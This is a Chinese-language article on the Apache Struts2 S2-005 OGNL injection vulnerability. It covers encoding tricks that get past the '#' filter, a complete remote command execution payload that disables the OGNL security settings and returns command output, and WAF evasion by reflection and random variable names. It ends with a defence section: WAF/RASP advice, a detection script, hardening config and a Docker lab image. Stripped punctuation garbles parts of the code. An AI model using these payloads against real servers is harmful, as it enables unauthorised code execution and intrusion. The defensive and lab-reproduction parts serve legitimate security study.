Struts2 S2-005漏洞绕过技巧:从编码混淆到命令执行
Struts2 S2-005漏洞深度解析从编码混淆到实战利用在Web安全研究领域Struts2框架的漏洞一直是攻防演练中的经典案例。S2-005作为早期但极具代表性的漏洞其绕过思路至今仍对现代Web应用安全具有启示意义。本文将从一个实战研究者的视角剖析该漏洞的底层原理、多种编码绕过技术以及如何在实际环境中构造有效的攻击载荷。1. S2-005漏洞的技术背景Struts2框架使用OGNL(Object-Graph Navigation Language)作为表达式语言这种设计原本是为了简化数据访问和操作却为安全漏洞埋下了隐患。S2-005漏洞的特殊性在于它实际上是S2-003漏洞修复不彻底的产物——开发者试图通过过滤#字符来阻止OGNL表达式注入但攻击者很快发现可以通过编码方式绕过这一限制。漏洞的核心在于两个关键点参数解析机制Struts2会将HTTP请求的每个参数名解析为OGNL表达式安全限制绕过通过Unicode编码(\u0023)或八进制编码(\43)可以绕过对#字符的过滤// 典型的安全过滤逻辑示例 if (param.contains(#)) { throw new SecurityException(Invalid character detected); }这种过滤很容易被编码技术绕过例如Unicode编码#→\u0023八进制编码#→\43URL编码#→%232. 编码混淆技术详解2.1 多重编码组合技巧在实际攻击场景中单一的编码方式可能被WAF或安全设备检测到。高级攻击者通常会采用组合编码技术编码类型示例解码结果Unicode\u0023context#context八进制\43context#context混合编码\u0023c\157ntext#context分块拼接\u0023context#context# 编码转换工具函数示例 def encode_payload(payload): return payload.replace(#, r\u0023).replace(_, r\u005f)2.2 安全配置绕过技术即使成功注入了OGNL表达式Struts2的安全配置仍会阻止危险操作。攻击者需要通过OGNL表达式动态修改这些安全设置允许静态方法调用(\43_memberAccess.allowStaticMethodAccess)(a)true启用方法执行(\43context[\xwork.MethodAccessor.denyMethodExecution\]\75false)(b)清空排除属性列表(\43_memberAccess.excludeProperties\75java.util.CollectionsEMPTY_SET)(c)注意实际攻击中这些操作需要在一个请求中完成使用符号连接各表达式3. 实战攻击链构建3.1 基础命令执行POC分析以下是经过优化的攻击载荷包含完整的命令执行流程(\43_memberAccess.allowStaticMethodAccess)(a)true (b)((\43context[\xwork.MethodAccessor.denyMethodExecution\]\75false)(b)) (\43c)((\43_memberAccess.excludeProperties\75java.util.CollectionsEMPTY_SET)(c)) (g)((\43mycmd\75\whoami\)(d)) (h)((\43myret\75java.lang.RuntimegetRuntime().exec(\43mycmd))(d)) (i)((\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream()))(d)) (j)((\43myres\75new\40byte[51020])(d)) (k)((\43mydat.readFully(\43myres))(d)) (l)((\43mystr\75new\40java.lang.String(\43myres))(d)) (m)((\43myout\75org.apache.struts2.ServletActionContextgetResponse())(d)) (n)((\43myout.getWriter().println(\43mystr))(d))关键步骤解析初始化安全配置绕过设置要执行的命令(whoami)通过Runtime.getRuntime().exec()执行命令获取命令输出流并读取结果将结果写入HTTP响应3.2 高级利用技巧对于存在WAF防护的环境可以采用以下进阶技术字符串拆分技巧\43req\43context.get(com.opensymphony.xwork2.dispatcher.HttpServletRequest)反射调用技术(\43rtjava.lang.ClassforName(java.lang.Runtime).getMethod(getRuntime,null).invoke(null,null))(x) (\43rt.exec(calc))(y)环境变量隐藏技术# 生成随机变量名避免检测 import random def random_var(): return .join(random.choice(abcdefghijklmnopqrstuvwxyz) for _ in range(8)) # 示例输出aBcDeFgH4. 防御与检测方案4.1 企业级防护措施针对S2-005类漏洞建议部署以下防御层防护层面具体措施有效性WAF规则检测OGNL表达式特征、编码混淆模式★★★★☆RASP防护拦截危险反射调用、运行时方法执行★★★★★输入验证严格校验参数名格式禁止特殊字符★★★☆☆版本升级升级到Struts2最新安全版本★★★★★4.2 检测脚本示例以下Python代码可用于检测系统是否存在S2-005漏洞import requests def check_s2_005(target_url): test_payload { \43foo: bar # 测试八进制编码的#字符 } try: r requests.post(target_url, datatest_payload) if ognl.OgnlException in r.text: return True except Exception as e: print(f检测出错: {str(e)}) return False4.3 安全配置建议在struts.xml中添加以下安全配置constant namestruts.ognl.excludedClasses valuejava.lang.Runtime,java.lang.ProcessBuilder / constant namestruts.ognl.excludePackageNames valuejava.lang,java.io /在实验室环境中复现这类漏洞时建议使用容器化技术隔离测试环境。以下Docker命令可以快速搭建测试环境docker run -d -p 8080:8080 vulhub/struts2:s2-005